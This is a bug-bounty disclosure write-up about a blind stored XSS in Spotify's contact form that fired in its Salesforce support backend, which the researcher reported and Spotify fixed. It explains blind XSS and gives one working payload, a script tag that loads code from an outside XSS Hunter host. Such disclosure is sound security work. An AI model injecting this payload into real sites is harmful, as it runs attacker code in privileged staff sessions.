This is the story of a blind XSS vulnerability that affected Spotify. It could have allowed an attacker to gain access to their customer support backend, which is built on Salesforce.

First, some background.

What is a “blind XSS vulnerability”?

Blind XSS is a type of persistent XSS that occurs when the attacker can’t see where their payload has fired. That is when a user’s unsanitized input is displayed on a page that is only accessible to users who have specific privileges, such as feedback, contact, and logging dashboards.

How would I know if my payload worked if I can’t see the page?

Here comes XSS Hunter to the rescue! It’s an awesome web app that Matthew Bryant @IAmMandatory built. It has a lot of features that can help a lot in the process of finding blind XSS vulnerabilities and showing their impact. Also, Matt’s many great posts were my (and many other people’s) introduction to this type of bug. I highly recommend you give them a read. Thanks, Matt!

How did this affect Spotify?

It was pretty straightforward. Spotify had a standard contact page where users can report problems and send suggestions. I sent a query with a very simple XSS payload.

"><script src=https://[username]></script>

A few minutes later, I received an email from XSS Hunter informing me that the payload had fired. At first, I wasn’t sure where to report this; the payload fired in a Salesforce domain that Spotify was using as a support platform, so which one of them can fix it? Eventually, I reported it to Spotify via their Bugcrowd and asked them to inform Salesforce about it. It turned out that the vulnerability existed due to a custom Salesforce view that Spotify was using, so it wasn’t Salesforce’s mistake per se. A few days later, Spotify fixed the vulnerability and issued a reward.